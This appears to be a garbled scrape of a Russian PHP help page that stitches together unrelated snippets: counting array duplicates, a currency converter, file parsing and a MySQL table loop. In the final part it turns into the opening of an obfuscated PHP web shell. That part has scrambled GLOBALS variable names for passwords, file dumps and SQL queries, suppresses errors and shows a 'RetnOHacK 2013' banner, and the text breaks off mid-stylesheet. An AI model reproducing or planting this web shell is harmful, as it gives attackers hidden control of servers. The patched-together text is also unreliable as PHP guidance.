<?php
$array = array(1, "hello", 1, "world", "hello");
print_r(array_count_values($array));
?>
Array
(
[1] => 2
[hello] => 2
[world] => 1
)
<?php
$array = array(1, "hello", 1, "world", "hello");
$array_count = array_count_values($array);
$duplicates = [];
foreach ($array_count as $k=>$v){
if ($v > 1) $duplicates[] = $k;
}
print_r($duplicates);
?>
<?
function exchange($amount,$give,$get) {
$exchanges=[
'USD:RUB'=>60,
'RUB:USD'=>1/60,
];
$in=[$give.':'.$get=>$amount];
$key=key($in);
if ($amount>0 && $exchanges[$key]) {
$out=$exchanges[$key]*$in[$key];
return $out.' '.explode(':',$key,2)[1];
} else return false;
}
if ($out=exchange(2,'USD','RUB')) echo $out;
else echo 'Обмен невозможен!';
?>
$array = file ('path/to/file');
if ($array) {
foreach ($array as $value) {
$data = explode(';', $value);
// производите действия для записи
}
}
<table class="table m-0">
<thead>
<tr>
<th>#</th>
<th>Название</th>
<th>Количество человек</th>
</tr>
</thead>
<tbody>
<? while($news = mysql_fetch_array($query)) { ?>
<tr class="groups" id="<? echo $news[id]; ?>">
<th scope="row"><? echo $news[id]; ?></th>
<th scope="row"><? echo $news[name]; ?></th>
<th scope="row"><? echo $news[count]; ?></th>
</tr>
<? } ?>
</tbody>
</table>
var id = $('tr.groups:last-child').attr("id");
${'GLOBALS'}['ytqsidbuwb']='us';
${'GLOBALS'}['fygfwfpp']='c';
${'GLOBALS'}['xssukethlx']='configuration';
${'GLOBALS'}['znlfcg']='consym';
${'GLOBALS'}['xrnrqneeqyfn']='dir';
${'GLOBALS'}['yyxpgtifb']='rt';
${'GLOBALS'}['safsnsptq']='g';
${'GLOBALS'}['otmvwuyr']='users';
${'GLOBALS'}['nfdniye']='link';
${'GLOBALS'}['lgcmkkj']='rr';
${'GLOBALS'}['uuoeldlhn']='r';
${'GLOBALS'}['rshfreslhmx']='safe_mode';
${'GLOBALS'}['mjjjsyc']='safe_mode';
${'GLOBALS'}['hrqpjl']='pass';
${'GLOBALS'}['mpkqzbudyse']='user';
${'GLOBALS'}['srpuccung']='a1';
${'GLOBALS'}['kpmbrod']='ok';
${'GLOBALS'}['rrkfvuyt']='id2';
${'GLOBALS'}['zmerlgzk']='a2';
${'GLOBALS'}['lsccxrnbhw']='username';
${'GLOBALS'}['oibbfucdc']='value';
${'GLOBALS'}['ucnibgygdq']='e';
${'GLOBALS'}['jnwtdjeb']='att';
${'GLOBALS'}['qowesdp']='sahacker';${'GLOBALS'}['tvoidst']='pathclass';${'GLOBALS'}['tpyetlr']='fp';${'GLOBALS'}['lvtfjiskw']='code';${'GLOBALS'}['skzmjpygbdb']='res';${'GLOBALS'}['pwdfvpnidd']='ar';${'GLOBALS'}['sqowcqx']='values';${'GLOBALS'}['wcgrkl']='keys';${'GLOBALS'}['ivkvtidnn']='num';${'GLOBALS'}['btygwlu']='querys';${'GLOBALS'}['yuirdcehrvu']='sql';${'GLOBALS'}['mnmzrtdls']='head';${'GLOBALS'}['kgjrjxqsb']='mime_type';${'GLOBALS'}['wqpwydtm']='content_encoding';${'GLOBALS'}['korhkhmegnt']='filedump';${'GLOBALS'}['swsrowm']='filename';${'GLOBALS'}['rtrnmswrgbt']='file';${'GLOBALS'}['xmchxwspr']='v';${'GLOBALS'}['oykssljtvlz']='k';${'GLOBALS'}['szfyjop']='i';${'GLOBALS'}['uoqgpnxobiqh']='table';${'GLOBALS'}['fbagxoimcf']='query';${'GLOBALS'}['juxsbp']='error';${'GLOBALS'}['sgykogglnrd']='str';${'GLOBALS'}['phymzistuuq']='checked';${'GLOBALS'}['hrswwrcprw']='ret';${'GLOBALS'}['wuystrt']='type';echo ' ';@set_time_limit(0);@error_reporting(0);echo' /* RetnOHacK 2013 */ body{color:#66FF00; font-size: 12px; font-family: serif; background-color: black; background-image: url(http://www.wallsave.com/wallpapers/1920x1080/alien-nature/601147/alien-nature-matrix-601147.jpg); background-repeat: no-